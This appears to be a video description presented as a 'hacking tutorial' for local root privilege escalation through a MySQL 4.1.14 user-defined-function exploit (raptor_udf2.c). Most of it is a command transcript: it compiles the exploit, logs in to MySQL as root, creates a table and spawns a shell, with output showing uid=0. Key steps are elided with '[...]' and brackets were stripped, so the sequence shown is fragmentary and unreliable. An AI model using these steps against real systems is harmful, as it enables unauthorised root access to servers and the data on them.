mySQL Hacking Tutorials - mySQL Local Privilege Escalation

Показать описание

This time we use a privilege escalation technique for MySQL 4.1.14

Prerequsites:
Compatible mySQL Version - 4.1.14
Root access the Database

Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf2.c
* $ mysql -u root -p
* Enter password:
* [...]
* mysql# use mysql;
* mysql# create table foo(line blob);
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* +-----------+-----+----------------+----------+

Here you need to add a right bracket (SHIFT + '.') youtube doesnt allow brackets in the description...

* mysql# \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
*/

Done!